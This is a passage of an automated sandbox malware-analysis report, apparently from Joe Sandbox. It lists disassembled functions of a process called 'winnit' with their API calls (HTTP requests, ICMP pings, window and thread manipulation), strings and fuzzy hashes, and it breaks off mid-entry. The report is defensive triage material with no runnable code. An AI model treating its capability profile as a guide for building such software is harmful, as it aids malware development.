                                          • Instruction Fuzzy Hash: 0E617F75940208AFDB21DFA4CC81EEE77F8EF09710F244199FA14AB2A1CB71AD41DB50
                                          Function 00B06B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00B06BBF
                                          • SafeArrayAllocData.OLEAUT32(?), ref: 00B06C18
                                          • VariantInit.OLEAUT32(?), ref: 00B06C2A
                                          • SafeArrayAccessData.OLEAUT32(?,?), ref: 00B06C4A
                                          • VariantCopy.OLEAUT32(?,?), ref: 00B06C9D
                                          • SafeArrayUnaccessData.OLEAUT32(?), ref: 00B06CB1
                                          • VariantClear.OLEAUT32(?), ref: 00B06CC6
                                          • SafeArrayDestroyData.OLEAUT32(?), ref: 00B06CD3
                                          • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B06CDC
                                          • VariantClear.OLEAUT32(?), ref: 00B06CEE
                                          • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B06CF9
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                          • String ID:
                                          • API String ID: 2706829360-0
                                          • Opcode ID: 20956e4a3dd04cc226d848e757906b68cfa9bede7f24f0acc104c25e3c13806c
                                          • Instruction ID: 3bdcf621f71882b87eeb663f6a9d99dce89f7d4af9559514fceb2db975a54498
                                          • Opcode Fuzzy Hash: 20956e4a3dd04cc226d848e757906b68cfa9bede7f24f0acc104c25e3c13806c
                                          • Instruction Fuzzy Hash: D6414F75E0011AAFDF10DFA8D8449AEBFB9EF08354F108069E955E7361DB30A955CB90
                                          Function 00B25732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • WSAStartup.WSOCK32(00000101,?), ref: 00B25793
                                          • inet_addr.WSOCK32(?,?,?), ref: 00B257D8
                                          • gethostbyname.WSOCK32(?), ref: 00B257E4
                                          • IcmpCreateFile.IPHLPAPI ref: 00B257F2
                                          • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00B25862
                                          • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00B25878
                                          • IcmpCloseHandle.IPHLPAPI(00000000), ref: 00B258ED
                                          • WSACleanup.WSOCK32 ref: 00B258F3
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                          • String ID: Ping
                                          • API String ID: 1028309954-2246546115
                                          • Opcode ID: f3fae98c68a7dd5ad2e1286f129fe5d023da0538f6865e2269693c1a8af06a3e
                                          • Instruction ID: c1efab345f13d596acc3ef3ce9ec6b566ea51da2cac0dd6ae7e8d3b95c794dae
                                          • Opcode Fuzzy Hash: f3fae98c68a7dd5ad2e1286f129fe5d023da0538f6865e2269693c1a8af06a3e
                                          • Instruction Fuzzy Hash: 2C518031A046119FD720DF24ED89B6A77E4EF48710F144969F99AEB2A1DB70EC40DB41
                                          Function 00B1B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 00B1B4D0
                                          • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00B1B546
                                          • GetLastError.KERNEL32 ref: 00B1B550
                                          • SetErrorMode.KERNEL32(00000000,READY), ref: 00B1B5BD
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Error$Mode$DiskFreeLastSpace
                                          • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                          • API String ID: 4194297153-14809454
                                          • Opcode ID: 60e6c933bf8d90cdacb115fda07e7e383c6cd6c6b2dce418e55e9e33a68a52e2
                                          • Instruction ID: a46b2a0704f463300a583fe98bdcf834fa58460dd44baaa24739339a8b93245e
                                          • Opcode Fuzzy Hash: 60e6c933bf8d90cdacb115fda07e7e383c6cd6c6b2dce418e55e9e33a68a52e2
                                          • Instruction Fuzzy Hash: C531A135A00209DFCB00EB68C995EFEBBF9FF59300F5441A5F501972A2DB719A82CB50
                                          Function 00B08F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                            • Part of subcall function 00B0AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00B0AABC
                                          • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00B09014
                                          • GetDlgCtrlID.USER32 ref: 00B0901F
                                          • GetParent.USER32 ref: 00B0903B
                                          • SendMessageW.USER32(00000000,?,00000111,?), ref: 00B0903E
                                          • GetDlgCtrlID.USER32(?), ref: 00B09047
                                          • GetParent.USER32(?), ref: 00B09063
                                          • SendMessageW.USER32(00000000,?,?,00000111), ref: 00B09066
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$CtrlParent$ClassName_memmove
                                          • String ID: ComboBox$ListBox
                                          • API String ID: 1536045017-1403004172
                                          • Opcode ID: 4a14fa924793a21c9ce4f8bb0a973a8d3de0ee4222a4bfc33e17c30cfdcad331
                                          • Instruction ID: e44d879465574c0bff9e956017070800c2e5f1a541a438300a5a71adcb5e9ea6
                                          • Opcode Fuzzy Hash: 4a14fa924793a21c9ce4f8bb0a973a8d3de0ee4222a4bfc33e17c30cfdcad331
                                          • Instruction Fuzzy Hash: 85218E74E00209BBDF05ABA0CC85EFEBBA9EB89310F104159F961972E2EE755815DA20
                                          Function 00B0907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                            • Part of subcall function 00B0AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00B0AABC
                                          • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00B090FD
                                          • GetDlgCtrlID.USER32 ref: 00B09108
                                          • GetParent.USER32 ref: 00B09124
                                          • SendMessageW.USER32(00000000,?,00000111,?), ref: 00B09127
                                          • GetDlgCtrlID.USER32(?), ref: 00B09130
                                          • GetParent.USER32(?), ref: 00B0914C
                                          • SendMessageW.USER32(00000000,?,?,00000111), ref: 00B0914F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$CtrlParent$ClassName_memmove
                                          • String ID: ComboBox$ListBox
                                          • API String ID: 1536045017-1403004172
                                          • Opcode ID: b74c99ca85f53d9deb00206a263b846d523908a4fabc02dfba86aee6c8724ef6
                                          • Instruction ID: 4a23c7e590b329493c8878763cbac9bed748aab9948554357165019f0c0d2a52
                                          • Opcode Fuzzy Hash: b74c99ca85f53d9deb00206a263b846d523908a4fabc02dfba86aee6c8724ef6
                                          • Instruction Fuzzy Hash: 0C218374E40209BBDF11ABA5CC85EFEBBB9EF44300F104055F951972E2DF755815DA20
                                          Function 00B09163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetParent.USER32 ref: 00B0916F
                                          • GetClassNameW.USER32(00000000,?,00000100), ref: 00B09184
                                          • _wcscmp.LIBCMT ref: 00B09196
                                          • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00B09211
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ClassMessageNameParentSend_wcscmp
                                          • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                          • API String ID: 1704125052-3381328864
                                          • Opcode ID: 94cf4545a50194469831528dc560843fc8aee9eecb73c0162c8c9513eb3c6517
                                          • Instruction ID: 0f272ae3c8e41fffede8c776ea95f6de20bbd92762c3d9b5c39cf4f9856a136f
                                          • Opcode Fuzzy Hash: 94cf4545a50194469831528dc560843fc8aee9eecb73c0162c8c9513eb3c6517
                                          • Instruction Fuzzy Hash: 77112C366C8307BAFA152624DC0BDB73FDCDB25720B3000A7F901A50F3FE6268519694
                                          Function 00B288AB Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • VariantInit.OLEAUT32(?), ref: 00B288D7
                                          • CoInitialize.OLE32(00000000), ref: 00B28904
                                          • CoUninitialize.OLE32 ref: 00B2890E
                                          • GetRunningObjectTable.OLE32(00000000,?), ref: 00B28A0E
                                          • SetErrorMode.KERNEL32(00000001,00000029), ref: 00B28B3B
                                          • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00B42C0C), ref: 00B28B6F
                                          • CoGetObject.OLE32(?,00000000,00B42C0C,?), ref: 00B28B92
                                          • SetErrorMode.KERNEL32(00000000), ref: 00B28BA5
                                          • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00B28C25
                                          • VariantClear.OLEAUT32(?), ref: 00B28C35
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                          • String ID:
                                          • API String ID: 2395222682-0
                                          • Opcode ID: 57a33d0cb696fb70867c8f0420451349e3f0db86310e1b3d27e007c9237458a9
                                          • Instruction ID: 007aee7f42bfcab5e947c4207a588aa148465561fae11a65c08cc9218fb2ee23
                                          • Opcode Fuzzy Hash: 57a33d0cb696fb70867c8f0420451349e3f0db86310e1b3d27e007c9237458a9
                                          • Instruction Fuzzy Hash: DEC157B1608315AFC700DF68D88496BB7E9FF89348F00499DF98A9B261DB71ED05CB52
                                          Function 00B17990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON
                                          Download Yara Rule
                                          APIs
                                          • SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00B17A6C
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ArraySafeVartype
                                          • String ID:
                                          • API String ID: 1725837607-0
                                          • Opcode ID: e4c1cac1cd58c4457b514a413a5ac58a0dd85d305af7d2b7a8f323639b89e1a0
                                          • Instruction ID: 66a8298d0df56169df65a79d6e899de12db396d0f0263df4b99e501bf03ac82a
                                          • Opcode Fuzzy Hash: e4c1cac1cd58c4457b514a413a5ac58a0dd85d305af7d2b7a8f323639b89e1a0
                                          • Instruction Fuzzy Hash: 45B18D7194821A9FDB00DFA4D885BFEB7F5EF09321F6044A9E641E7251DB34A981CB90
                                          Function 00B111CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentThreadId.KERNEL32 ref: 00B111F0
                                          • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00B10268,?,00000001), ref: 00B11204
                                          • GetWindowThreadProcessId.USER32(00000000), ref: 00B1120B
                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B10268,?,00000001), ref: 00B1121A
                                          • GetWindowThreadProcessId.USER32(?,00000000), ref: 00B1122C
                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B10268,?,00000001), ref: 00B11245
                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B10268,?,00000001), ref: 00B11257
                                          • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00B10268,?,00000001), ref: 00B1129C
                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00B10268,?,00000001), ref: 00B112B1
                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00B10268,?,00000001), ref: 00B112BC
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                          • String ID:
                                          • API String ID: 2156557900-0
                                          • Opcode ID: 8e39b1d01db84f35f811e34eb86ebfc7bccd543f30d160b0f0ac280801015819
                                          • Instruction ID: 1ae161c96d136611b45735241f9497a19f3b8ccdd484846b28dc549017cb86a8
                                          • Opcode Fuzzy Hash: 8e39b1d01db84f35f811e34eb86ebfc7bccd543f30d160b0f0ac280801015819
                                          • Instruction Fuzzy Hash: 2431BD75A00604BBDB109F58EC89FB977E9EB55311F608569FA08DB1A0DBB09DC0CBA4
                                          Function 00ABFA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON
                                          Download Yara Rule
                                          APIs
                                          • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00ABFAA6
                                          • OleUninitialize.OLE32(?,00000000), ref: 00ABFB45
                                          • UnregisterHotKey.USER32(?), ref: 00ABFC9C
                                          • DestroyWindow.USER32(?), ref: 00AF45D6
                                          • FreeLibrary.KERNEL32(?), ref: 00AF463B
                                          • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00AF4668
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                          • String ID: close all
                                          • API String ID: 469580280-3243417748
                                          • Opcode ID: 51a4db33ad133923167b0c9b3d2a3704e9cdaa8c9e58b0462de73ce6d9ec748e
                                          • Instruction ID: 4c99e54d27b8d6e9213afdd16e6e5c6c65f758f658e754791cbe345e7c1bbee9
                                          • Opcode Fuzzy Hash: 51a4db33ad133923167b0c9b3d2a3704e9cdaa8c9e58b0462de73ce6d9ec748e
                                          • Instruction Fuzzy Hash: C4A17E30701216CFCB18EF54C994BBAF7A4AF09700F5542ADF90AAB262DB30AD56CF50
                                          Function 00B0A068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON
                                          Download Yara Rule
                                          APIs
                                          • EnumChildWindows.USER32(?,00B0A439), ref: 00B0A377
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ChildEnumWindows
                                          • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                          • API String ID: 3555792229-1603158881
                                          • Opcode ID: ef9ae9343c9db2cf50f602fdb4ff0828bbcbdc36578469fedafd2acda4a583c4
                                          • Instruction ID: 5ad261d9e1fb6415d777a07b118dbee0b008a5c3f0b96fed09b0ea3be6d8028e
                                          • Opcode Fuzzy Hash: ef9ae9343c9db2cf50f602fdb4ff0828bbcbdc36578469fedafd2acda4a583c4
                                          • Instruction Fuzzy Hash: D0916331A00605AACB08EFA0C592BEEFFE4FF04344F5485A9D45AA72D1DF316999CB91
                                          Function 00AB2E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SetWindowLongW.USER32(?,000000EB), ref: 00AB2EAE
                                            • Part of subcall function 00AB1DB3: GetClientRect.USER32(?,?), ref: 00AB1DDC
                                            • Part of subcall function 00AB1DB3: GetWindowRect.USER32(?,?), ref: 00AB1E1D
                                            • Part of subcall function 00AB1DB3: ScreenToClient.USER32(?,?), ref: 00AB1E45
                                          • GetDC.USER32 ref: 00AECD32
                                          • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00AECD45
                                          • SelectObject.GDI32(00000000,00000000), ref: 00AECD53
                                          • SelectObject.GDI32(00000000,00000000), ref: 00AECD68
                                          • ReleaseDC.USER32(?,00000000), ref: 00AECD70
                                          • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00AECDFB
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                          • String ID: U
                                          • API String ID: 4009187628-3372436214
                                          • Opcode ID: 810ec44ed5366e960239de5511aadb9fc40d7ac57b08b6d39de2528324599aff
                                          • Instruction ID: ff57d4c10c281846b05c0a23e8fb3c2a1c14a03a5ec7824de0741e647d4d61c1
                                          • Opcode Fuzzy Hash: 810ec44ed5366e960239de5511aadb9fc40d7ac57b08b6d39de2528324599aff
                                          • Instruction Fuzzy Hash: 4271BF31900245DFCF258F65CC84AFA7FB5FF48320F24426AED595A2A6D7319C92DB60
                                          Function 00B21A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00B21A50
                                          • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00B21A7C
                                          • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00B21ABE
                                          • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00B21AD3
                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B21AE0
                                          • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00B21B10
                                          • InternetCloseHandle.WININET(00000000), ref: 00B21B57
                                            • Part of subcall function 00B22483: GetLastError.KERNEL32(?,?,00B21817,00000000,00000000,00000001), ref: 00B22498
                                            • Part of subcall function 00B22483: SetEvent.KERNEL32(?,?,00B21817,00000000,00000000,00000001), ref: 00B224AD
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
                                          • String ID:
                                          • API String ID: 2603140658-3916222277
                                          • Opcode ID: d0a36377eec49843724b11e3753fd081934fa90566f549892d4f996faeb41285
                                          • Instruction ID: dd6c05a1d9969f22354bbb64e0edd9f49708c0b741612ea131b085843bca2dcc
                                          • Opcode Fuzzy Hash: d0a36377eec49843724b11e3753fd081934fa90566f549892d4f996faeb41285
                                          • Instruction Fuzzy Hash: 764192B1901229BFEB119F54DC89FFF77ACEF19354F104566FA09AA141EB709E408BA0
                                          Function 00B28C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleFileNameW.KERNEL32(?,?,00000104,?,00B3F910), ref: 00B28D28
                                          • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00B3F910), ref: 00B28D5C
                                          • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00B28ED6
                                          • SysFreeString.OLEAUT32(?), ref: 00B28F00
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                          • String ID:
                                          • API String ID: 560350794-0
                                          • Opcode ID: 34111cef411403fae1317ef65805e5548b68655156ce64ccf70991abda505e28
